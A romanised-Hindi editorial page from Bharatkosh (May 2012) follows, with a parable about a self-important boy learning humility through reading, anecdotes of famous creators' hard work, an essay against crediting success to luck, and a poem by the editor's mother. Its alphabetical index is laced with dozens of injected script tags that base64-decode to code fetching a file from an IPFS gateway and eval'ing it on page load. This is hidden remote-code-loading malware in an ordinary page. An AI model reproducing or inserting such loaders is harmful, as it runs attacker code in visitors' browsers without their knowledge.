भारतकोश सम्पादकीय 5 मई 2012

bas ek chans -adity chaudhari

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is bat ka pata 'chand logoan' ko hi tha ki chhote pahalavan duniya ka sabase aqlamand l daka hai. in 'chand logoan' mean the- ek to chhote pahalavan khud aur baqi usake mata-pita aur parivari jan. bahar ki duniya se chhote ka zyada sampark hua nahian tha. isi daur mean use yah bhi mahasoos hone laga ki vah duniya ka mahanatam vidvanh bhi hai. apani pahali kitab ke chhapate hi ek zabardast hangama hone ka khayal lie vo apana vaqt kriket aur futab aaul khelane mean bitata tha. baratoan mean bachchoan ko paise lootate dekhakar vo sochata tha ki usaki kitab ki bhi aisi hi loot machegi ek din, bas zara likhane bhar ki der hai.
b doan ne nasihat di aur kaha-
"kuchh padh bhi lo... do-char kitabean... kahaniyaan... upanyas..."
us vaqt chhote ki umr thi qarib solah sal... b doan ki bat manana chhote ki sahaj adat thi... chhote ne bat man li... char se zyada kitabean padh li geean... isamean kuchh mahine guzar ge...
ek b de ne poochha-
"ab kya chalata hai man mean ? chhote !"
"bat ye hai ki poori tarah se aisa nahian hai ki duniya mean ham hi sabase zyada aqlamand haian... vidvanh log aur bhi haian... bahut badhiya likhate haian... in kitaboan ko padhane ke bad laga ki ham jo apane man mean soch rahe the ki sahity ki duniya ke ham rustame-zama gama pahalavan haian, asal mean aisa nahian hai."
"kuchh kitabean aur padh lo... jaise itihas aur darshan par... chaho to dharmoan ke bare mean bhi... "
is bar zara zyada lamba antaral ho gaya... chehare par halki-halki moochhean bhi shobhayaman thian.
doosare b de ne poochha-
"kyoan chhote ! kitani kitabean padh chuke ho tum... aur ab kya chalata hai man mean ?"
"bat ye hai ki kitab to ab chalis-pachas padh chuke haian... lekin ek bat samajh mean nahian a rahi ki jitana zyada padhate haian utana hi lagata hai ki abhi to kuchh bhi nahian padha... zyada se zyada padhane se to hamean ye mahasoos hona chahie ki ham zyada aqlamand haian aur vidvanh haian... ulta hi ho raha hai ?... hamako lagata hai jaise ham is duniya ke bahut sadharan se hisse hi haian, koee vilakshan pratibha nahian haian..."
"koee bat nahian, ab ek sal-bhar aur padh lo phir mat padhana... is bar videshi lekhakoan aur vicharakoan ko padho !"
phir ek sal bad...
tisare b de ne poochha-
"kya hal-chal haian chhote ? b de gumasum rahate ho... bahut kam bolane lage ho, kya bat hai ?"
"bolane ko bacha kya hai jo bolean... hamako apani buddhi par taras ata hai... kahane ko to ham ab saik doan kitab padh chuke haian... aur ek-ek vishay par ghantoan vyakhyan dene ki kshamata bhi hamare aandar paida ho gee hai... lekin ab hamako lagata hai ki hamane to abhi bilkul hi kuchh bhi nahian padha hai... jaise ek naye-naye vidyarthi ki halat hoti hai, vahi hai hamari ab... hamean pata chal chuka hai ki ham ek aise vyakti haian jisamean n buddhi hai aur n koee pratibha... na hi koee kala...ab hamari umr matadan karane layaq ho gee hai aur sabase pahala 'mat' hamane khud ko hi diya hai aur vo ye ki ham 'nire ajnani' haian"
yah sunakar b de muskura ge aur bole-
"bas bas bas... chhote ab tum bahut b de ho ge ho... ab tumako padhane ki nahian balki likhane ki zaroorat hai... tum vilakshan buddhi vale udbhat vidvanh ho... tumhari yah vinamrata hi vidvatta ka sabase b da praman hai... jao likho... duniya ko tumhare jaise hi vidvanoan ki zaroorat hai"
aie chhote pahalavan ko likhata chho d kar zara ye sochean ki kya aisa ham sab ke sath bhi nahian ghatata ? kya hamare aandar bhi kabhi n kabhi ek chhote pahalavan nahian raha hoga... ya aj bhi hai ?
aianstain ne kaha tha "ganit to meri bhi samajh mean nahian ata." sari duniya ko bhautiki aur ganit padhane vale vaijnanik ka yah kathan apane ap mean ek poora granth hai jo ki sab kuchh kah raha hai. sab kuchh jan lena ya sab kuchh sikh lena jaisi koee sthiti kabhi nahian hoti. jab ham kisi vidha ko sikhane ke lie age badhate haian tabhi hamean usaki sahi janakari hoti hai. adhikatar log bahut asani se khud ko 'vishesh pratibhashali' man baithate haian lekin jab vidvanoan ke bich jate haian tabhi asali pariksha hoti hai.
jab ham koee srijan kar rahe hote haian, tab hi hamako jnan hota hai us srijan ki kathinaiyoan ka. anek aise udaharan haian jinase us kriti ke pichhe chhupe athah parishram ka abhas ho sakata hai-

arnest hemiangve, 1954 mean, nobel puraskar prapt amerika ke mashahoor lekhak hue haian. unhoanne apane vishv prasiddh upanyas 'd old mॅn eand d si' ko shuroo se akhir tak bar-bar likha aur jab ve sau se bhi adhik bar ise likh chuke tabhi santusht hue.
charli chॅpalin ne apani mashahoor film 'siti laits' ke keval ek drishy ko hi sau se adhik tariqoan se filmaya aur aant mean bhi ve poori tarah santusht nahian the. yah vahi drishy hai jisamean ki film ki netr-hin nayika charli chॅpalin ko bhool-vash amir adami samajh leti hai.
aaulbeyar kamoo ne apane upanyas 'la pest' mean keval ek anuchchhed ko likhane mean hi kee din laga die the.
mahanh ganitajn nyootan ne ath sal ki mehanat se apani mashahoor kitab 'priansipiya mॅthemetika' ki samagri taiyar ki aur unake palatoo kutte 'dayamand' ke karan vah jal gee. nyootan phir likhane baith ge aur dobara char sal mean kitab poori kar li.
karl marks ne bis se adhik varsh pustakalay mean padhate hue bitae. ek bar laibreriyan pustakalay ko band karake chala gaya. agale din aya to marks ko padhate hue paya. marks ko pata hi nahian chala tha ki kab rat guzar gee aur agala din bhi ho gaya.

        sari duniya mean aise anek udaharan haian jo hamean batalate haian ki har ek srijan ke pichhe k di mehanat chhupi hai. isalie dhyan rakhie ki alochana karana asan hai lekin srijan karana mushkil hai, bahut mushkil.
        ek doosara pahaloo bhi hai jisaki vajah se bahut si galatafahami paida hoti haian, vah hai 'bhagy' ka prachar. bahut se saphal vyaktiyoan ke sakshatkaroan mean jo ek bat aksar milati hai vah hai 'bhagy'. ye 'star' ya 'selibriti' bahudha kahate sune jate haian ki unaki saphalata ka raz hai 'bhagy'.
"bhagy ne mera sath diya", "bhagy se mujhe sab kuchh mila", "eeshvar ki kripa se maian yahaan tak pahuancha" jaise vaky 'selibriti' aksar kahate haian.
kya yah thik hai ? ya un logoan ko hatotsahit karane ke lie ek khoobasoorat dhokha hai jo ki usi kshetr mean age badhana chahate haian aur sahi rasta khoj rahe haian.
        zara sochie ki koee prasiddh khila di, abhineta ya udyogapati yadi bhagy ke bal par saphal hua hai to phir kya koee usake bhagy ka anusaran kare, vahaan tak pahuanchane ke lie ? yah to sambhav nahian hai. bahut se log jo bhagy par bharosa karate haian ve to yah bhi soch sakate haian ki koee kisi ka bhagy kaise pa sakata hai. is bhagy ke bharose, bharat ke shaharoan aur gaanvoan se anek naujavan ye sapana lekar mumbee jate haian ki hiro, hiroin ya m aaudal baneange. n jane kitane l dake-l dakiyaan is mugalate mean rahate haian ki unhean mauqa ya 'chans' nahian mila varana... . jo samajhadar haian ve samajhate haian ki kisi bhi kshetr mean saphal hone ke lie mehanat to nishchit roop se karani hi p dati hai.

is saptah itana hi... agale saptah kuchh aur...
-adity chaudhari
sansthapak evan pradhan sampadak

kya mujhe pahachan loge -chandrakanta chaudhari

thumb|center|apane bayasivean janmadin par ammaji

	ek din is deh par jalati chita hogi bhayavah jis hriday mean tum base the dhool mean hoga mila vah dekh jalati deh ko tum sahaj apana man loge ? kya mujhe pahachan loge ? jab prabhanjan mean u deange us chita ke dhool kan ve tab chhuऎange tav charan mritika vikal ho vikal kan ve us samay kya un kanoan mean roop ko anuman loge ? kya mujhe pahachan loge ? virah atap se jala man vedana rota phirega trasit chahoan ka nirantar bhar sa dhota phirega us samay kya tum mujhe do aansuoan ka dan doge ? -chandrakanta chaudhari (sanh‌ 1954)
yah kavita ammaji (meri maan) ne sanh‌ 1954 mean likhi thi ve abhi bhi bharatakosh ke kee lekhoan ka sampadan kar deti haian. haan ! unako kagaz par priant nikal kar dena hota hai. apani svatantrata senani ki peanshan bhi adhi se zyada bharatakosh ko de deti haian (unaki peanshan qarib 25 hazar rupaye mahine hai) -adity chaudhari

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

भारतकोश सम्पादकीय 5 मई 2012

varnamala kramanusar lekh khoj

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